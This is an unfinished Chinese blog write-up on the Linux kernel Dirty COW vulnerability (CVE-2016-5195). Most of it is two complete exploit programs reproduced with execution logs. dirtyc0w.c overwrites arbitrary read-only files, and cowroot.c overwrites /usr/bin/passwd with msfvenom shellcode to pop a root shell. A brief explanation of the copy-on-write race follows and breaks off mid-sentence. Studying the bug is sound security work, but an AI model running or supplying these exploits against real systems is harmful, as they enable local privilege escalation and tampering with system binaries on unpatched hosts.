0%

CVE-2016-5195(Dirty Cow)漏洞分析(未完待续)

CVE-2016-5195,又被称为Dirty COW(脏牛漏洞),是一个存在于Linux内核中的严重本地权限提升漏洞。这个漏洞首先在2016年被发现,其名称来源于“Copy-On-Write”机制的缩写“COW”,CVE-2016-5195是一个内核竞态条件漏洞,影响范围:Linux Kernel > 2.6.22。

实验环境

VMware虚拟机

Linux 4.4.0

漏洞复现

dirtyc0w.c这个PoC可以实现向任意可读文件写任意内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
/* dirtyc0w.c */
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>

void *map; //存储文件映射的内存地址
int f; //文件描述符
struct stat st; //存储文件的状态信息
char *name; //文件名

/* madviseThread 函数
* 该函数在一个独立线程中运行,通过不断调用 madvise 来让操作系统认为映射的页面不再需要。
* 传入的参数是目标文件的名称,执行系统调用 madvise。
*/
void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<100000000;i++) // 循环多次调用 madvise,制造竞争条件
{
/*
* madvise 函数告诉操作系统指定内存区域的使用方式。
* MADV_DONTNEED 提示系统不再需要该内存区域的内容,
* 操作系统可以丢弃该区域的页面,促使文件重新加载进内存。
*/
c+=madvise(map,100,MADV_DONTNEED);
}
printf("madvise %d\n\n",c);
}

/* procselfmemThread 函数
* 该函数在另一个线程中运行,不断地向 /proc/self/mem 写入数据。
* 传入的参数是目标文件的新内容。
*/
void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg; // 获取传入的新内容

/*
* /proc/self/mem 是一个特殊文件,允许进程访问自己内存中的内容。
* 打开这个文件后可以对进程内存中的内容进行读写操作。
*/
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;

for(i=0;i<100000000;i++) { // 循环多次写入数据,制造竞争条件

/*
* lseek 将文件指针移动到映射的内存区域,便于写入新的内容。
* map 是映射的内存地址,我们通过 lseek 定位到该地址。
*/
lseek(f,(uintptr_t) map,SEEK_SET); // 将文件指针重置到映射的内存位置

/*
* write 函数用于向文件写入数据,在这里向映射的内存中写入新内容。
* 由于有竞争条件,这个写操作会覆盖文件的原始内容。
*/
c+=write(f,str,strlen(str));
}
printf("procselfmem %d\n\n", c);
}


int main(int argc,char *argv[])
{
if (argc<3) {
(void)fprintf(stderr, "%s\n",
"usage: dirtyc0w target_file new_content");
return 1;
}
pthread_t pth1,pth2;
f=open(argv[1],O_RDONLY);
fstat(f,&st);
name=argv[1];

/*
* 使用 mmap 将文件映射到内存中,使用 MAP_PRIVATE 和 PROT_READ。
* MAP_PRIVATE 表示私有映射,修改不会影响其他映射该文件的进程。
* PROT_READ 表示映射区域是只读的。
*/
map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("mmap %zx\n\n",(uintptr_t) map);
/*
* 创建两个线程:
* - 第一个线程调用 madviseThread,传入文件名,制造竞争条件。
* - 第二个线程调用 procselfmemThread,传入新内容,尝试修改文件内容。
*/
pthread_create(&pth1,NULL,madviseThread,argv[1]);
pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
// 等待两个线程执行完毕,使用 pthread_join 确保主线程在它们结束前不会退出。
pthread_join(pth1,NULL);
pthread_join(pth2,NULL);
return 0;
}

执行shell命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -pthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################

cowroot.c可以实现提权。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
/* cowroot.c */
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>

void *map;
int f;
int stop = 0;
struct stat st;
char *name;
pthread_t pth1,pth2,pth3;

// change if no permissions to read
char suid_binary[] = "/usr/bin/passwd";

/*
* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
*/
unsigned char sc[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned int sc_len = 177;

/*
* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
unsigned char sc[] = {
0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,
0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,
0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,
0x89, 0xe1, 0xcd, 0x80
};
unsigned int sc_len = 136;
*/

void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<1000000 && !stop;i++) {
c+=madvise(map,100,MADV_DONTNEED);
}
printf("thread stopped\n");
}

void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<1000000 && !stop;i++) {
lseek(f,map,SEEK_SET);
c+=write(f, str, sc_len);
}
printf("thread stopped\n");
}

void *waitForWrite(void *arg) {
char buf[sc_len];

for(;;) {
FILE *fp = fopen(suid_binary, "rb");

fread(buf, sc_len, 1, fp);

if(memcmp(buf, sc, sc_len) == 0) {
printf("%s overwritten\n", suid_binary);
break;
}

fclose(fp);
sleep(1);
}

stop = 1;

printf("Popping root shell.\n");
printf("Don't forget to restore /tmp/bak\n");

system(suid_binary);
}

int main(int argc,char *argv[]) {
char *backup;

printf("DirtyCow root privilege escalation\n");
printf("Backing up %s to /tmp/bak\n", suid_binary);

asprintf(&backup, "cp %s /tmp/bak", suid_binary);
system(backup);

f = open(suid_binary,O_RDONLY);
fstat(f,&st);

printf("Size of binary: %d\n", st.st_size);

char payload[st.st_size];
memset(payload, 0x90, st.st_size);
memcpy(payload, sc, sc_len+1);

map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);

printf("Racing, this may take a while..\n");

pthread_create(&pth1, NULL, &madviseThread, suid_binary);
pthread_create(&pth2, NULL, &procselfmemThread, payload);
pthread_create(&pth3, NULL, &waitForWrite, NULL);

pthread_join(pth3, NULL);

return 0;
}

shell命令:

1
2
3
##(un)comment correct payload first (x86 or x64)!
gcc cowroot.c -o cowroot -pthread
./cowroot

漏洞分析

分析漏洞需要了解以下知识:

  • 写时拷贝
  • 页式内存管理
  • 缺页中断处理

该漏洞的成因是get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中,可能发生竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。当我们向带有MAP_PRIVATE标志的只读文件映射区域写数据时,会产生一个映射文件的复制(COW),对此区域的任何修改都不会写回原来的文件,如果上述的竞态条件发生,就能成功的写回原来的文件。比如我们修改su或者passwd程序就可以达到root的目的。

其中,MAP_PRIVATE标志指示创建的映射区域是写时拷贝的私有映射区域,且对映射区域的任何写操作都不会影响底层文件或其他进程